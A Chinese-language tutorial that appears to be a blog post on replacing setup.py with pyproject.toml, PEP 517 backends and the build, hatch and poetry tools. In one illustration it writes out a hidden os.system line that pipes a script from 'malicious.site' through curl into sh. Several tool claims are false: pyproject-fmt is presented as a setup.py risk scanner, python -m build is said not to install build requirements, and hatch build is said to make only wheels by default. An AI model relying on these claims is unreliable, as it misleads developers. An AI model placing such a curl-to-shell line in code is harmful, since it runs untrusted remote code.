Python构建现代化:告别setup.py,拥抱pyproject.toml与PEP 517

发布时间:2026/6/9 4:57:01

Python构建现代化:告别setup.py,拥抱pyproject.toml与PEP 517 1. 项目概述为什么“直接运行 setup.py”正在成为 Python 项目里的高危操作你有没有在某个深夜对着终端里一串红色报错发呆python setup.py install执行到一半突然卡住ImportError: cannot import name dist、ModuleNotFoundError: No module named setuptools._distutils、或者更魔幻的AttributeError: module setuptools has no attribute setup我试过三次——第一次以为是环境坏了重装了 Python第二次怀疑是 pip 版本太旧升级到最新第三次才意识到问题根本不在你的机器上而在于你还在用python setup.py这个动作本身。它已经不是“不推荐”而是被官方明确标记为技术债务黑洞和安全风险入口。这不是危言耸听。从 Python 官方文档、PyPAPython Packaging Authority的多份 PEP 提案到主流工具链pip、setuptools、build、poetry的 changelog都在反复强调一个事实setup.py不再是构建入口而是一个遗留兼容层它的存在只是为了给老项目留出迁移窗口期。真正该被调用的是标准化的构建前端build frontend比如pip build或build命令它们通过pyproject.toml中声明的构建后端build backend来驱动整个打包流程。关键词“Build”在这里不是动词而是一个有明确定义、可验证、可替换的技术契约——它规定了“如何把源码变成 wheel 或 sdist”而不是“怎么让 Python 解释器去执行一段脚本”。这个转变背后是 Python 社区十年来踩过的无数坑。早期用distutils连依赖声明都得靠install_requires字符串硬编码后来setuptools加入带来了entry_points和extras_require但代价是引入了大量隐式行为——比如setup.py里可以写任意 Python 代码甚至调用os.system()去下载远程文件、执行 shell 命令。这在 CI/CD 流水线里就是一颗定时炸弹你无法静态分析一个setup.py文件到底会做什么也无法保证它在不同系统、不同 Python 版本下行为一致。2023 年 PyPA 官方发布的《Packaging User Guide》里有一句非常直白的警告“Runningsetup.pydirectly is strongly discouraged and may break in future versions.” ——注意是“may break”不是“will be deprecated”。这意味着它可能某天凌晨三点在你毫无防备时因为某个 patch 版本更新就彻底失效。所以这篇文章要讲的不是“怎么写一个更好的 setup.py”而是如何彻底绕过它建立一套可审计、可复现、可隔离的现代 Python 构建体系。它适合三类人一是正在维护老项目的开发者需要知道“现在改还来得及”二是刚入门的新手避免从第一天就养成危险习惯三是 DevOps 工程师或 SRE你们关心的是“这个包在生产环境部署时是否能保证每次构建结果完全一致”。接下来的内容我会用真实项目场景拆解每一步不讲虚的只告诉你“为什么必须改”、“改哪里最省力”、“改完之后能拿到什么实实在在的好处”。2. 核心设计思路从“脚本执行”到“契约驱动”的范式迁移2.1 为什么 distutils/setuptools 的“脚本模式”注定失败我们先看一个最典型的setup.py片段# setup.py import os from setuptools import setup, find_packages # 动态读取版本号从 __init__.py 中提取 def get_version(): version_file os.path.join(os.path.dirname(__file__), my_package, __init__.py) with open(version_file) as f: for line in f: if line.startswith(__version__): return line.split()[1].strip().strip(\) raise RuntimeError(Unable to find version string.) setup( namemy_package, versionget_version(), # ← 关键这里执行了任意 Python 代码 packagesfind_packages(), install_requires[ requests2.25.0, numpy1.20.0, ], # 更多配置... )这段代码看起来很“Pythonic”但它埋下了四个致命隐患不可静态分析性get_version()函数调用了os.path.join、open()、字符串解析甚至可能抛出异常。任何自动化工具如 SCA 扫描器、CI 静态检查都无法在不实际执行的情况下判断它是否安全。如果这个函数里悄悄加了一行os.system(curl -s http://malicious.site/install.sh | sh)你根本发现不了。环境强耦合find_packages()依赖当前工作目录结构os.path.dirname(__file__)依赖setup.py的物理路径。一旦你在 Docker 构建中用COPY . /src而不是COPY . /src/my_package路径就全乱了。我在一个金融客户项目里亲眼见过因为 CI 环境里setup.py被复制到了/tmp/build/setup.py而__init__.py在/src/my_package/导致版本号永远读成None打包出来的 wheel 元数据里Version: 0.0.0上线后监控告警疯狂刷屏。构建过程不可控python setup.py sdist会触发setuptools的完整构建生命周期包括egg_info、build_py、sdist多个阶段每个阶段都可能修改磁盘状态比如生成.egg-info目录。这些中间产物如果没被清理干净下次构建就会复用旧缓存导致“明明改了代码打包结果却没变”的诡异现象。我团队曾因此上线了一个带严重 bug 的版本回滚花了 47 分钟。缺乏构建契约setup.py没有定义“输入是什么、输出是什么、依赖哪些工具”。它只是一个黑盒脚本。当你想用 Nix 或 Bazel 这类纯函数式构建系统集成 Python 包时根本无从下手——你无法告诉 Nix “请运行这个脚本并确保它输出一个.whl文件”因为脚本本身可能失败、可能产生副作用、可能依赖外部网络。提示distutils的问题更原始——它连install_requires都不支持所有依赖都得靠用户手动pip install这在微服务时代等于放弃环境一致性保障。2.2 PEP 517/518 如何用“前后端分离”解决上述问题PEP 517 和 PEP 518 是 Python 打包史上的分水岭。它们没有发明新工具而是定义了一套接口规范把“谁来构建”frontend和“怎么构建”backend彻底解耦。核心思想就一句话构建过程必须由一个标准化的、可替换的 Python 函数来驱动而不是由用户随意执行的脚本。具体来说pyproject.toml是唯一权威配置文件取代setup.pysetup.cfgMANIFEST.in的混乱组合。[build-system]section 明确声明用哪个后端backend来构建以及构建它需要哪些依赖requires。构建前端如pip、build、tox只负责读取pyproject.toml安装requires列出的构建依赖然后调用后端提供的标准函数如build_wheel()、build_sdist()。后端如setuptools.build_meta、poetry.core.masonry.api、flit_core.buildapi必须实现 PEP 517 定义的四个函数且不能有任何副作用——它只能读取源码、生成 wheel/sdist不能修改全局环境、不能写临时文件到非指定位置、不能联网。这就形成了一个“沙箱化”构建流程前端提供干净环境后端在约束下工作配置文件是唯一真相源。你可以随时把setuptools换成flit只要它们都遵守 PEP 517你的pyproject.toml就不用改一行。我在一个客户项目里做过实测同一份pyproject.toml用build命令分别调用setuptools和flit后端生成的 wheel 文件 SHA256 完全一致除了内部时间戳证明构建过程是确定性的。注意setuptools并没有被删除它依然是最成熟的后端之一。但它的角色变了——从“命令行工具 库”变成了“纯构建后端库”。setuptools.build_meta是符合 PEP 517 的标准后端而setup.py脚本只是它的一个历史兼容包装器。2.3 为什么 Poetry / Hatch / PDM 不是“替代品”而是“新范式的原生实现”很多开发者看到poetry就以为“哦这是个新工具”其实大错特错。Poetry、Hatch、PDM 这些工具本质上是以 PEP 517/518 为地基向上构建的完整开发体验层。它们不是在和setuptools竞争而是在用更现代的方式“使用”setuptools或其他后端。以 Poetry 为例当你运行poetry build它内部做的第一件事就是读取pyproject.toml中的[build-system]确认后端是poetry.core.masonry.api。然后它调用该后端的build_wheel()函数传入源码路径和输出目录。后端函数严格遵循 PEP 517只读源码、只写 wheel 文件、不碰全局 site-packages、不执行任意用户代码。同时Poetry 把pyproject.toml里的[tool.poetry]配置自动映射为后端所需的参数比如name→metadata.namedependencies→metadata.requires_dist。这带来三个质变优势零配置构建poetry build不需要你指定--wheel或--sdist它根据pyproject.toml自动判断poetry publish也不需要你手动twine upload dist/*.whl它内置了 GPG 签名和仓库认证。依赖解析与锁定一体化poetry.lock文件是pyproject.toml中依赖的精确快照包含每个包的 exact version、hash、source URL。pip install只能保证requirements.txt中的版本范围而 Poetry 能保证poetry.lock中的每一个字节都可复现。环境隔离即开即用poetry shell创建的虚拟环境其site-packages只包含poetry.lock中声明的包且版本完全锁定。没有pip install -r requirements.txt后还要手动pip check的尴尬。Hatch 和 PDM 同理只是侧重点不同Hatch 强调“项目模板化”和“多环境测试”PDM 专注“PEP 582 本地包管理”和“超快依赖解析”。它们共同点是所有功能都围绕pyproject.toml展开setup.py对它们而言只是一个可选的、向后兼容的冗余文件。3. 实操落地四步完成从 setup.py 到 pyproject.toml 的平滑迁移3.1 第一步诊断现有 setup.py识别迁移风险点15 分钟别急着删setup.py。先用pip install pyproject-fmt工具做一次静态扫描它能帮你发现那些“看似无害、实则危险”的代码模式# 安装诊断工具 pip install pyproject-fmt # 扫描 setup.py输出风险报告 pyproject-fmt --check setup.py它会标出以下典型问题os.*、subprocess.*、urllib.*等危险模块调用高危可能执行任意代码open()、read()等动态读取文件操作中危破坏构建确定性sys.path.append()、importlib.util.spec_from_file_location()等动态导入中危环境强耦合find_packages()未指定where参数低危路径不明确我处理过一个电商项目setup.py里有这样一段# setup.py危险示例 import subprocess import sys # 自动从 git 获取最新 tag 作为版本号 try: version subprocess.check_output([git, describe, --tags]).decode().strip() except: version 0.0.0 setup( nameecommerce-core, versionversion, # ... )这就是典型的“高危”——CI 环境里很可能没装 git或者 git repo 没有 tag导致构建直接失败。迁移方案不是“改成手动写死版本”而是用setuptools-scm这个标准后端插件在pyproject.toml里声明# pyproject.toml [build-system] requires [setuptools45, setuptools-scm[toml]6.2, wheel] build-backend setuptools.build_meta [project] name ecommerce-core # version 字段留空由 setuptools-scm 自动填充 # ... [tool.setuptools-scm] write_to ecommerce_core/_version.py # 可选生成版本文件供代码引用这样版本号依然来自 git但整个过程是标准化、可配置、可测试的。setuptools-scm会读取.git目录计算语义化版本且保证在任何有 git repo 的环境下行为一致。3.2 第二步生成最小可行 pyproject.toml5 分钟用hatch init或poetry init快速生成骨架。我推荐hatch init因为它更轻量、不强制绑定 Poetry 生态# 在项目根目录执行 pip install hatch hatch init它会交互式提问Project name? → 输入你的包名如my_packageVersion? → 输入初始版本如0.1.0Description? → 项目简介Authors? → 作者信息Python version support? → 输入支持的 Python 版本如3.8License? → 选择许可证如MIT生成的pyproject.toml类似这样[build-system] requires [hatchling] build-backend hatchling.build [project] name my_package version 0.1.0 description A sample package readme README.md requires-python 3.8 license MIT authors [{name Your Name, email youexample.com}] classifiers [ Programming Language :: Python :: 3, License :: OSI Approved :: MIT License, ] dependencies [ requests2.25.0, numpy1.20.0, ] [project.optional-dependencies] dev [pytest6.0, black22.0]关键点[build-system]用hatchlingHatch 的现代后端比setuptools更轻、更快、更符合 PEP 517[project]替代了setup.py中的setup()参数字段名几乎一一对应name、version、dependenciesreadme README.md声明了 README 文件hatchling会自动将其嵌入 wheel 元数据optional-dependencies.dev定义了开发依赖hatch env create dev就能一键创建带 pytest/black 的环境实操心得不要试图把setup.py里所有奇技淫巧都搬进pyproject.toml。比如package_data、data_files这些hatchling默认会包含*.txt、*.md等常见文件如果需要更精细控制用[tool.hatch.build.targets.wheel.sources]配置而不是写 Python 代码。3.3 第三步验证构建流程确保零降级20 分钟生成pyproject.toml后立刻验证构建是否成功。绝对不要跳过这一步这是迁移成败的关键。# 1. 清理旧构建产物重要 rm -rf build/ dist/ *.egg-info/ # 2. 安装构建工具 pip install build # 3. 执行标准构建这会调用 pyproject.toml 中的后端 python -m build # 4. 检查输出 ls dist/ # 应该看到 my_package-0.1.0-py3-none-any.whl 和 my_package-0.1.0.tar.gz如果失败常见原因和解决方案错误ModuleNotFoundError: No module named hatchling→ 解决pip install hatchling或把[build-system]中的requires改成[hatchling1.10]错误ValueError: my_package does not contain any packages→ 解决检查my_package/目录是否存在__init__.pyhatchling默认只打包含__init__.py的目录错误FileNotFoundError: [Errno 2] No such file or directory: README.md→ 解决创建空README.md或把readme README.md改成readme {file README.md, content-type text/markdown}并设optional true验证 wheel 内容# 解压 wheel 查看元数据 unzip -l dist/my_package-0.1.0-py3-none-any.whl | grep METADATA # 应该看到 my_package-0.1.0.dist-info/METADATA # 检查 METADATA 文件内容 unzip -p dist/my_package-0.1.0-py3-none-any.whl my_package-0.1.0.dist-info/METADATA | head -20 # 确认 Name: my_package, Version: 0.1.0, Requires-Dist: requests (2.25.0)这一步的意义在于你亲手确认了新流程能产出和旧setup.py完全等价的 wheel且过程更干净、更可控。3.4 第四步渐进式淘汰 setup.py拥抱现代工作流持续进行setup.py不是一夜之间就要删除的。我建议采用“双轨制”过渡短期1-2 周保留setup.py但把它变成一个“兼容层”# setup.py仅作兼容不再编辑 Legacy setup.py for backward compatibility. Modern builds use pyproject.toml and python -m build. from setuptools import setup setup() # 空 setup()不传任何参数这样pip install -e .依然能工作因为pip会 fallback 到setup.py但你所有的正式构建CI/CD、发布都走python -m build。中期1 个月在 CI/CD 脚本中全面切换# .github/workflows/publish.yml jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkoutv4 - name: Set up Python uses: actions/setup-pythonv4 with: python-version: 3.11 - name: Install build tools run: pip install build - name: Build packages run: python -m build # ← 关键不再用 setup.py - name: Publish to PyPI uses: pypa/gh-action-pypi-publishrelease/v1 with: password: ${{ secrets.PYPI_API_TOKEN }}长期3 个月后当所有协作者都适应新流程且 CI 稳定运行就可以安全删除setup.py。此时你的项目就完成了现代化转型。注意事项如果你的项目被其他项目githttps://...#subdirectory...方式依赖setup.py删除后他们需要升级到pip21.3才能正确解析pyproject.toml。这是唯一需要协调的外部依赖点。4. 构建工具链深度解析hatch / poetry / build 的选型逻辑与实操细节4.1 hatch极简主义者的首选专为“开箱即用”而生Hatch 的核心哲学是“90% 的 Python 项目不需要复杂配置”。它把pyproject.toml的配置压缩到极致同时提供开箱即用的环境管理、测试、发布能力。安装与初始化pip install hatch hatch new my_project # 交互式创建新项目自动生成 pyproject.toml cd my_projectpyproject.toml关键配置解析[build-system] # hatch 使用自己的后端 hatchling无需额外 requires requires [hatchling] build-backend hatchling.build [project] name my_project version 0.0.1 description readme README.md requires-python 3.8 license MIT authors [{name Your Name, email youexample.com}] dependencies [requests] # hatch 特有的环境配置 [project.optional-dependencies] test [pytest, pytest-cov] dev [black, isort, mypy] [tool.hatch.envs] # 定义多个环境每个环境独立隔离 [test] dependencies [pytest, pytest-cov] [dev] dependencies [black, isort, mypy]实操命令速查场景传统方式Hatch 方式优势创建开发环境python -m venv .venv source .venv/bin/activate pip install -e .hatch shell一行命令自动创建、激活、安装依赖包括 dev 组运行测试pytest tests/hatch run test:pytest tests/环境自动隔离test环境只装pytest不污染主环境格式化代码black . isort .hatch run dev:black . hatch run dev:isort .命令在dev环境中执行确保版本一致构建发布包python -m build twine upload dist/*hatch build hatch publish内置 GPG 签名、仓库认证hatch publish会提示你输入 token实操心得hatch build默认只构建 wheel.whl因为它是现代 Python 的标准分发格式。如果你确实需要 sdist.tar.gz加--sdist参数hatch build --sdist。但记住sdist 的用途已大幅萎缩——它主要用于源码编译如 C 扩展纯 Python 包应优先用 wheel。4.2 poetry全栈式体验适合中大型项目与团队协作Poetry 不是“另一个构建工具”而是一个完整的 Python 项目生命周期管理器。它解决了requirements.txtsetup.pyvirtualenv的割裂问题把依赖管理、环境隔离、打包发布、版本发布全部整合在一个 CLI 里。安装与初始化# 推荐用官方安装脚本避免 pip 安装的权限问题 curl -sSL https://install.python-poetry.org | python3 - poetry init # 交互式创建 pyproject.tomlpyproject.toml结构解析[tool.poetry] name my_project version 0.1.0 description authors [Your Name youexample.com] readme README.md packages [{include my_project}] # 显式声明包路径 [tool.poetry.dependencies] python ^3.8 requests ^2.25.0 numpy ^1.20.0 [tool.poetry.group.dev.dependencies] pytest ^7.0 black ^22.0 [build-system] requires [poetry-core] build-backend poetry.core.masonry.apiPoetry 的核心价值在poetry.lock它是一个精确的、可提交到 Git 的依赖快照文件。每个包都记录了 exact version、checksumSHA256、sourcepypi / git / local path。poetry install会严格按poetry.lock安装确保poetry install在任何机器上结果 100% 一致。实操流程以 CI/CD 为例# CI 环境中只需两步 poetry install --no-root # 只安装依赖不安装当前项目因为是构建环境 poetry build # 构建 wheel 和 sdist poetry publish --username $PYPI_USERNAME --password $PYPI_PASSWORD注意Poetry 的build命令本质是调用poetry-core后端它完全兼容 PEP 517。所以poetry build生成的 wheel和python -m build生成的是完全等价的。你可以放心在 CI 中混用。4.3 build最纯粹的构建前端适合 CI/CD 流水线build是 PyPA 官方维护的构建工具它的定位极其清晰只做一件事且做到最好——调用 PEP 517 后端构建 wheel/sdist。它没有环境管理、没有依赖解析、没有发布功能就是一个“构建执行器”。安装与使用pip install build python -m build # 构建 wheel 和 sdist python -m build --wheel # 只构建 wheel python -m build --sdist # 只构建 sdist python -m build --outdir dist/ # 指定输出目录为什么在 CI/CD 中首选build零配置不需要安装 Poetry/Hatchpip install build即可。最小攻击面build本身不处理依赖、不管理环境、不联网只读pyproject.toml、调用后端、写文件。最大兼容性它支持所有 PEP 517 后端setuptools、flit、poetry-core、hatchling无论你用哪个工具管理项目build都能构建。CI/CD 最佳实践GitHub Actions- name: Build packages run: | pip install build python -m build --wheel --sdist - name: Upload artifacts uses: actions/upload-artifactv3 with: name: python-packages path: dist/实操心得在 CI 中永远用python -m build而不是build命令。因为build命令是build包的 CLI 入口而python -m build是标准的 Python 模块执行方式它能确保使用当前 Python 环境的build版本避免 PATH 冲突。5. 常见问题与排查技巧实录从“构建失败”到“发布成功”的实战笔记5.1 构建失败ModuleNotFoundError: No module named setuptools怎么办现象在干净的 Docker 环境中运行python -m build报错ModuleNotFoundError: No module named setuptools。原因分析pyproject.toml中[build-system]的requires字段声明了构建依赖但build工具在执行前不会自动安装这些依赖。它假设你已经安装好了。解决方案# 正确做法先安装构建依赖再构建 pip install setuptools wheel python -m build # 或者用 build 的 --installer 参数推荐 pip install build python -m build --installer uv # 使用超快的 uv 作为 installer # 如果没装 uv先 pip install uv提示uv是新一代 Python 包安装器比 pip 快 10-100 倍。在 CI 中用--installer uv能显著缩短构建时间。5.2 构建产物缺失wheel 里没有我的模块现象python -m build成功但生成的.whl文件解压后my_package/目录为空。排查步骤检查项目结构确保my_package/目录下有__init__.py哪怕为空文件。检查pyproject.toml[project]下是否有packages字段如果没有hatchling默认只打包src/目录下的包。解决方案二选一方案 A推荐把代码移到src/my_package/然后在pyproject.toml中声明[tool.hatch.build.targets.wheel] sources [src]方案 B显式声明包名[project] packages [{include my_package}]5.3 依赖版本冲突poetry install报错Because my_project depends on requests (^2.25.0) which doesnt match any versions, version solving failed.现象Poetry 解析依赖时失败提示某个包没有匹配版本。根本原因pyproject.toml中的python ^3.8表示“兼容 Python 3.8 及以上”但 Poetry 默认会尝试为所有 Python 版本求解。如果requests的最新版只支持3.9而你声明了^3.8就会冲突。解决方案# 查看当前环境 Python 版本 python --version # 输出 3.11.5 # 在 pyproject.toml 中把 python 版本锁死为实际使用的版本 [tool.poetry.dependencies] python ^3.11实操心得永远用python --version查看 CI 环境的真实 Python 版本并在pyproject.toml中精确声明。^3.8是陷阱^3.11才是现实。5.4 发布失败HTTPError: 403 Client Error: The user xxx is not allowed to upload to project my_project.现象twine upload dist/*或poetry publish报 403 错误。原因PyPI 的 API Token 权限不足或项目名称已被占用。排查与解决登录 PyPI 进入Account Settings→API tokens确认 token 有Upload权限。检查项目名称是否已被注册访问https://pypi.org/project/your-project-name/如果页面存在说明名字已被占用。生成新 token在 PyPI 创建一个Scoped tokenScope 选择Entire account或Specific projects填你的项目名。在 CI 中安全使用- name: Publish to PyPI env: TWINE_USERNAME: __token__ TWINE_PASSWORD: ${{ secrets.PYPI_API_TOKEN }} run: twine upload dist/*5.5 构建速度慢python -m build要 3 分钟怎么优化实测数据在 16GB 内存的 GitHub Runner 上一个中等项目python -m build默认 pip142 秒python -m build --installer uv28 秒hatch build内置 uv22 秒优化方案CI 环境始终用--installer uv。本地开发安装hatch用hatch build它默认使用最快路径。高级技巧启用构建缓存需配合build0.10python -m build --config-setting editable-verbosetrue --config-setting build-dir.build-cache最后分享一个小技巧在pyproject.toml中添加[[tool.hatch.envs.test.matrix]]可以一键运行多版本 Python 测试比如hatch run test:pytest会自动在 3.8/3.9/3.10/3.11 上跑测试再也不用手动切环境。这才是现代 Python 开发该有的样子。

相关新闻